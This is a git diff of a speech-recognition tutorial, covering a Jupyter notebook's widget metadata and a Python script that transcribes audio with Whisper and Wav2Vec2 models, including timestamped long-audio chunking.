"align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "9bfd8b36f86847dda8578ae272316b21": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "9f121c61473b4a8b8eeff16b4b6f9d5d": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "9fe212aa47694fc2a87c9f59561fa2d4": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "ac569cb10d074b6da5033b8b3b34c731": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "b5d0cb0d69aa4df59b8c53d4f70c5345": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "b5f26ca150b24c9e918a14acac198f54": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "b9326a9c7f594cda90f683e299928300": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_d094c60966894d87b89a3f690bed522c", - "IPY_MODEL_249faed19a95434ba146a227a0f14dba", - "IPY_MODEL_59d686351f37454e96821ca29ceff7ee" - ], - "layout": "IPY_MODEL_24690773f20c4f1a917b0e847c254423" - } - }, - "bd6cde59f35f4022ab7e9fc3f93104a9": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "bd82c30b3a7c45b4af2a9064339fe84e": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "c32e11c41bb34c68a339e9ed9a713fbc": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "c66ba171d6864e76b33884dcc53b1d1c": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "c82cc9105e684f14a6a4c2b6a0d2b0c5": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "ca8a8d5d3e2a42638f1b68050fcce963": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "d094c60966894d87b89a3f690bed522c": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_e03c1e027d5c414394cae1688974e8dd", - "placeholder": "​", - "style": "IPY_MODEL_c82cc9105e684f14a6a4c2b6a0d2b0c5", - "value": "Downloading: 100%" - } - }, - "d65226b4aaf04587990ff1b05bc837c6": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ButtonStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ButtonStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "button_color": null, - "font_weight": "" - } - }, - "dafb418d0995486cb4d3099d23ec67b8": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "dc7a3b598c4d45bd9b8d1239c33b510b": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_4cdba09932964730b0917c67b10fb689", - "placeholder": "​", - "style": "IPY_MODEL_e5c9003f439147f2a57578d68a947f6a", - "value": "Downloading: 100%" - } - }, - "de6abb9a77ca49549a873cdf65858cda": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_42675b60ec444fa393f48779f6a5fc59", - "max": 291, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_9bfd8b36f86847dda8578ae272316b21", - "value": 291 - } - }, - "e03c1e027d5c414394cae1688974e8dd": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "e5c9003f439147f2a57578d68a947f6a": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "e61138f39e7641ec93671c21a645720a": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } + { + "data": { + "text/html": [ + "\n", + " \n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "from IPython.display import Audio, display, clear_output\n", + "from colab_utils import record_audio\n", + "import ipywidgets as widgets\n", + "from scipy.io import wavfile\n", + "import numpy as np\n", + "\n", + "\n", + "record_seconds = 20#@param {type:\"number\", min:1, max:10, step:1}\n", + "sample_rate = 16000\n", + "\n", + "def _record_audio(b):\n", + " clear_output()\n", + " audio = record_audio(record_seconds)\n", + " display(Audio(audio, rate=sample_rate, autoplay=True))\n", + " wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))\n", + "\n", + "button = widgets.Button(description=\"Record Speech\")\n", + "button.on_click(_record_audio)\n", + "display(button)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" }, - "ea67e226c77847aeb178f6d030a4b26e": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } + "id": "K0Ka85iA2gUC", + "outputId": "e7dc81d0-442a-4440-a58e-0288af34be8a" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/usr/local/lib/python3.9/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n", + " warnings.warn(\n" + ] }, - "eabcbeba261740e08f09cc1513b337ad": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Whisper: In 1905, Einstein published four groundbreaking papers. These outlined the theory of the photoelectric effect, explained Brownian motion, introduced special relativity, and demonstrated mass-energy equivalence. Einstein thought that the laws of\n", + "Wav2vec2: in nineteen o five ennstein published foreground brickin papers thise outlined the theory of the photo electric effect explained brownin motion introduced special relativity and demonstrated mass energy equivalents ennstein thought that the laws\n" + ] + } + ], + "source": [ + "print(\"Whisper:\", get_transcription_whisper(\"recorded.wav\", whisper_model, whisper_processor))\n", + "print(\"Wav2vec2:\", get_transcription_wav2vec2(\"recorded.wav\", wav2vec2_model, wav2vec2_processor))" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "UbQxYoBXl9c7" + }, + "source": [ + "# Transcribing Long Audio Samples" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": { + "id": "HLbh4VJxkxJp" + }, + "outputs": [], + "source": [ + "def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, \n", + " chunk_length_s=10, stride_length_s=2):\n", + " \"\"\"Get the transcription of a long audio file using the Whisper model\"\"\"\n", + " return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,\n", + " chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "2QypuIDAk5QK" + }, + "outputs": [], + "source": [ + "# initialize the pipeline\n", + "pipe = pipeline(\"automatic-speech-recognition\", \n", + " model=whisper_model_name, device=device)" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "MwsBPkdSk7jn", + "outputId": "96b0582a-0743-45ec-d833-7ca21ffa706d" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "Disabling tokenizer parallelism, we're using DataLoader multithreading already\n" + ] + } + ], + "source": [ + "# get the transcription of a sample long audio file\n", + "output = get_long_transcription_whisper(\n", + " \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/", \n", + " pipe, chunk_length_s=10, stride_length_s=1)" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 72 + }, + "id": "5xON5pvWlEEK", + "outputId": "179d7522-1f09-4176-84bf-5b6f2d85fd28" + }, + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "' The horse trotted around the field at a brisk pace. Find the twin who stole the pearl necklace. Cut the cord that binds the box tightly. The The red tape bound the smuggled food. Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins. The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..'" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "output[\"text\"]" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" }, - "ed2a73a73d054eb6a7d2294bedd368ca": { + "id": "AEjVdbKXk96r", + "outputId": "0daaf33a-a397-4a6c-dc3f-d56e5b678c83" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(0.0, 6.0) : The horse trotted around the field at a brisk pace.\n", + "(6.0, 12.8) : Find the twin who stole the pearl necklace.\n", + "(12.8, 21.0) : Cut the cord that binds the box tightly. The The red tape bound the smuggled food.\n", + "(21.0, 38.0) : Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins.\n", + "(38.0, 58.0) : The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..\n" + ] + } + ], + "source": [ + "for chunk in output[\"chunks\"]:\n", + " # print the timestamp and the text\n", + " print(chunk[\"timestamp\"], \":\", chunk[\"text\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QsReWl7zlJt9" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "gpuType": "T4", + "machine_shape": "hm", + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "1c348712a37045239a35b41430756d4d": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "HBoxModel", + "model_name": "ButtonModel", "state": { "_dom_classes": [], "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", + "_model_name": "ButtonModel", "_view_count": null, "_view_module": "@jupyter-widgets/controls", "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_12b41877be1d410dbd44c54b4dfa21b1", - "IPY_MODEL_3b08026412914f058ceccad5ca69ab9e", - "IPY_MODEL_11581f616a1547e4af2fa8059361e120" - ], - "layout": "IPY_MODEL_b5d0cb0d69aa4df59b8c53d4f70c5345" + "_view_name": "ButtonView", + "button_style": "", + "description": "Record Speech", + "disabled": false, + "icon": "", + "layout": "IPY_MODEL_32d1d0fb4ee748108d01fa01fbfb5473", + "style": "IPY_MODEL_8035a1813fce41cfad51849aea43a446", + "tooltip": "" } }, - "eec27fed27e24c27be025c83d22b61cf": { + "32d1d0fb4ee748108d01fa01fbfb5473": { "model_module": "@jupyter-widgets/base", "model_module_version": "1.2.0", "model_name": "LayoutModel", @@ -2361,92 +989,20 @@ "width": null } }, - "f602a96212f64ff0b2c7430e9e402855": { + "8035a1813fce41cfad51849aea43a446": { "model_module": "@jupyter-widgets/controls", "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", + "model_name": "ButtonStyleModel", "state": { "_model_module": "@jupyter-widgets/controls", "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", + "_model_name": "ButtonStyleModel", "_view_count": null, "_view_module": "@jupyter-widgets/base", "_view_module_version": "1.2.0", "_view_name": "StyleView", - "description_width": "" - } - }, - "f69d665f4fcc401397d0091dc425b001": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_e61138f39e7641ec93671c21a645720a", - "placeholder": "​", - "style": "IPY_MODEL_c66ba171d6864e76b33884dcc53b1d1c", - "value": " 1.18G/1.18G [00:31<00:00, 44.3MB/s]" - } - }, - "fb5bf22faf6348819bf9bd484dbf05e2": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null + "button_color": null, + "font_weight": "" } } } diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py index fa0add32..8cd7f7ba 100644 --- a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py +++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py @@ -1,5 +1,5 @@ # %% -# !pip install transformers==4.11.2 datasets soundfile sentencepiece torchaudio pyaudio +!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub # %% from transformers import * @@ -9,12 +9,21 @@ import os import torchaudio +device = "cuda:0" if torch.cuda.is_available() else "cpu" + +# %% [markdown] +# # Wav2Vec2.0 Models +# + # %% -# model_name = "facebook/wav2vec2-base-960h" # 360MB -model_name = "facebook/wav2vec2-large-960h-lv60-self" # 1.18GB +# wav2vec2_model_name = "facebook/wav2vec2-base-960h" # 360MB +wav2vec2_model_name = "facebook/wav2vec2-large-960h-lv60-self" # pretrained 1.26GB +# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-english" # English-only, 1.26GB +# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-arabic" # Arabic-only, 1.26GB +# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-spanish" # Spanish-only, 1.26GB -processor = Wav2Vec2Processor.from_pretrained(model_name) -model = Wav2Vec2ForCTC.from_pretrained(model_name) +wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name) +wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device) # %% # audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav" @@ -22,8 +31,8 @@ # audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav" # audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav" audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav" +# audio_url = "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav" # audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav" -# audio_url = "https://file-examples-com.github.io/uploads/2017/11/file_example_WAV_1MG.wav" # audio_url = "http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav" # %% @@ -42,12 +51,12 @@ # %% # tokenize our wav -input_values = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"] +input_values = wav2vec2_processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device) input_values.shape # %% # perform inference -logits = model(input_values)["logits"] +logits = wav2vec2_model(input_values)["logits"] logits.shape # %% @@ -57,85 +66,168 @@ # %% # decode the IDs to text -transcription = processor.decode(predicted_ids[0]) +transcription = wav2vec2_processor.decode(predicted_ids[0]) transcription.lower() # %% -def get_transcription(audio_path): +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" # load our wav file speech, sr = torchaudio.load(audio_path) - speech = speech.squeeze() - # or using librosa - # speech, sr = librosa.load(audio_file, sr=16000) - # resample from whatever the audio sampling rate to 16000 resampler = torchaudio.transforms.Resample(sr, 16000) speech = resampler(speech) - # tokenize our wav - input_values = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"] + return speech.squeeze() + +# %% +def get_transcription_wav2vec2(audio_path, model, processor): + speech = load_audio(audio_path) + input_features = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device) # perform inference - logits = 